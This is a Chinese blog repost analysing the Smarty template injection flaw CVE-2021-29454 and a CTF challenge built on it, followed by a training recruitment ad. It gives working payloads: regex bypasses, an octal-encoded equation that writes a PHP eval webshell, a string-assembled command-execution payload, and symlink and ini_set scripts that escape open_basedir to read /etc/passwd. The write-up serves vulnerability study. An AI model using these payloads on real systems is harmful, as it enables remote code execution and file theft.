CVE-2021-29454—Smarty模板注入分析复现

admin 2022年4月20日02:44:09评论36 views字数 6699阅读22分19秒阅读模式

漏洞报告


Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。用户应升级到版本 3.1.42 或 4.0.2 以接收补丁。

源码分析

对比官方修复的代码,在/plugins/function.math.php添加了如下一段

// Remove whitespaces    $equation = preg_replace('/s+/', '', $equation);
// Adapted from https://www.php.net/manual/en/function.eval.php#107377 $number = '(?:d+(?:[,.]d+)?|pi|π)'; // What is a number $functionsOrVars = '((?:0x[a-fA-F0-9]+)|([a-zA-Z_x7f-xff][a-zA-Z0-9_x7f-xff]*))'; $operators = '[+/*^%-]'; // Allowed math operators $regexp = '/^(('.$number.'|'.$functionsOrVars.'|('.$functionsOrVars.'s*((?1)+)|((?1)+)))(?:'.$operators.'(?2))?)+$/';
if (!preg_match($regexp, $equation)) { trigger_error("math: illegal characters", E_USER_WARNING); return; }


对恶意拼接的数学字符串进行过滤(漏洞利用POC格式其实也在这里写出来了,参考$regexp

而在较低版本下,缺少过滤部分,进而导致RCE
具体的POC我会在下面利用部分详写的


CVE-2021-29454—Smarty模板注入分析复现


并且,在tests/UnitTests/TemplateSource/ValueTests/Math/MathTest.php中,也有添加

/**     * @expectedException PHPUnit_Framework_Error_Warning     */    public function testBackticksIllegal(){        $expected = "22.00";        $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="`ls` x * y" x=$x y=$y}');        $this->assertEquals($expected, $this->smarty->fetch($tpl));    }
/** * @expectedException PHPUnit_Framework_Error_Warning */ public function testDollarSignsIllegal(){ $expected = "22.00"; $tpl = $this->smarty->createTemplate('eval:{$x = "4"}{$y = "5.5"}{math equation="$" x=$x y=$y}'); $this->assertEquals($expected, $this->smarty->fetch($tpl)); }
/** * @expectedException PHPUnit_Framework_Error_Warning */ public function testBracketsIllegal(){ $expected = "I"; $tpl = $this->smarty->createTemplate('eval:{$x = "0"}{$y = "1"}{math equation="((y/x).(x))[x]" x=$x y=$y}'); $this->assertEquals($expected, $this->smarty->fetch($tpl)); }


漏洞利用实例——红明谷 2022 | Smarty calculator

考点

  • Smarty3.1.39 模板注入(CVE-2021-29454)

  • Bypass open_basedir

  • Bypass disable_functions

过程详解


CVE-2021-29454—Smarty模板注入分析复现

看到Smarty,联系题目描述就明白这是Smarty模板注入,但是出题人修改了模板规则(真滴苟啊)。

一般情况下输入{$smarty.version},就可以看到返回的Smarty当前版本号,此题版本是3.1.39。

CVE-2021-29454—Smarty模板注入分析复现


扫一下网站,发现存在源码泄露,访问www.zip即可下载,打开分析。

index.php

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>Smarty calculator</title></head><body background="img/1.jpg"><div align="center">    <h1>Smarty calculator</h1></div><div style="width:100%;text-align:center">    <form action="" method="POST">        <input type="text" style="width:150px;height:30px" name="data" placeholder="      输入值进行计算" value="">        <br>        <input type="submit" value="Submit">    </form></div></body></html><?phperror_reporting(0);include_once('./Smarty/Smarty.class.php');$smarty = new Smarty();$my_security_policy = new Smarty_Security($smarty);$my_security_policy->php_functions = null;$my_security_policy->php_handling = Smarty::PHP_REMOVE;$my_security_policy->php_modifiers = null;$my_security_policy->static_classes = null;$my_security_policy->allow_super_globals = false;$my_security_policy->allow_constants = false;$my_security_policy->allow_php_tag = false;$my_security_policy->streams = null;$my_security_policy->php_modifiers = null;$smarty->enableSecurity($my_security_policy);
function waf($data){ $pattern = "php|<|flag|?"; $vpattern = explode("|", $pattern); foreach ($vpattern as $value) { if (preg_match("/$value/", $data)) { echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>"); die(); } } return $data;}
if(isset($_POST['data'])){ if(isset($_COOKIE['login'])) { $data = waf($_POST['data']); echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>"; $smarty->display("string:" . $data); }else{ echo "<script>alert("你还没有登录")</script>"; }}


在index.php中定义了waf函数,会检测$data中是否含有php < flag字样,这个还是蛮好绕的。

还会检测cookielogin是否存在且值不为零,只要在cookie上添加就好。

剩下的太多了。。。所以我筛选了一下,发现出题人应该只修改过3个文件。

CVE-2021-29454—Smarty模板注入分析复现


用Beyond Compare对比一下官方模板,发现了出题人重点修改的地方就是正则匹配。

CVE-2021-29454—Smarty模板注入分析复现


在CVE-2021-29454,有关Smarty的安全问题上,也有提到


  • 阻止$smarty.template_object在沙盒模式下访问

  • 修复了通过使用非法函数名的代码注入漏洞{function name='blah'}{/function}

if (preg_match('/[a-zA-Z0-9_x80-xff](.*)+$/', $_name)) {    $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);}


那么接下来,请欣赏各种优雅的过正则姿势


姿势一

CVE-2021-29454—Smarty模板注入分析复现

在正则处打下断点进行测试,

CVE-2021-29454—Smarty模板注入分析复现


发现可以通过换行绕过正则

CVE-2021-29454—Smarty模板注入分析复现


设置完cookie后,url编码一下,POST传参,poc执行成功

CVE-2021-29454—Smarty模板注入分析复现


但是不能直接cat/flag,有disable_functions以及open_basedir,绕过open_basedir的方法可太多了,我之前写了一篇文章你的open_basedir安全吗?-先知社区 (aliyun.com)


syslink() php 4/5/7/8
symlink(string $target, string $link): bool


原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwd payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。


<?phphighlight_file(__FILE__);mkdir("A");//创建目录chdir("A");//切换目录mkdir("B");chdir("B");mkdir("C");chdir("C");mkdir("D");chdir("D");chdir("..");chdir("..");chdir("..");chdir("..");symlink("A/B/C/D","aaa");symlink("aaa/../../../../etc/passwd","abc");unlink("aaa");mkdir("aaa");?>


ini_set()


ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string


POC
<?phphighlight_file(__FILE__);mkdir('Andy');  //创建目录chdir('Andy');  //切换目录ini_set('open_basedir','..');  //把open_basedir切换到上层目录chdir('..');  //切换到根目录chdir('..');chdir('..');ini_set('open_basedir','/');  //设置open_basedir为根目录echo file_get_contents('/etc/passwd');  //读取/etc/passwd


姿势二


其实这个正则并不难,我们可以直接利用八进制数,然后借用Smarty的math equation,直接写入一句话shell,Antsword连接就好。

CVE-2021-29454—Smarty模板注入分析复现


payload:

eval:{$x="42"}{math equation="("\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163")("\141\56\160\150\160","\74\77\160\150\160\40\145\166\141\154\50\44\137\122\105\121\125\105\123\124\133\47\120\141\143\153\47\135\51\73\77\76")"}


然后蚁剑连接,在根目录下得到flag

CVE-2021-29454—Smarty模板注入分析复现

姿势三


既然我们能利用函数名了,那么我们也可以用一些数学函数执行命令,我当时用就是这一种(其实是另外两种没想到,嘿嘿嘿)

<?phphighlight_file(__FILE__);//error_reporting(0);include_once('./Smarty/Smarty.class.php');$smarty = new Smarty();$my_security_policy = new Smarty_Security($smarty);$my_security_policy->php_functions = null;$my_security_policy->php_handling = Smarty::PHP_REMOVE;$my_security_policy->php_modifiers = null;$my_security_policy->static_classes = null;$my_security_policy->allow_super_globals = false;$my_security_policy->allow_constants = false;$my_security_policy->allow_php_tag = false;$my_security_policy->streams = null;$my_security_policy->php_modifiers = null;$smarty->enableSecurity($my_security_policy);//$smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].'floor'[0].'floor'[1].'abs'[0].'log'[2]);" p=1 }');$smarty->display("string:" . '{math equation="p;('exp'[0].'exp'[1].'exp'[0].'cos'[0])('cos'[0].'abs'[0].'tan'[0].' ./'.'floor'[0].'floor'[1].'abs'[0].'log'[2].'>1');" p="1" }');//exec('cat /flag')>1?>


将执行结果写入1文件,同样,因为有disable_functions以及open_basedir,所以执行会不成功吗,重复姿势一,就能绕过。


来源:先知(https://xz.aliyun.com/t/11190)

注:如有侵权请联系删除

CVE-2021-29454—Smarty模板注入分析复现


船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!



CVE-2021-29454—Smarty模板注入分析复现

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

CVE-2021-29454—Smarty模板注入分析复现

阳光正好,奋力奔跑;

拼搏当下,未来可期!


原文始发于微信公众号(衡阳信安):CVE-2021-29454—Smarty模板注入分析复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月20日02:44:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-29454—Smarty模板注入分析复现http://cn-sec.com/archives/928576.html

发表评论

匿名网友 填写信息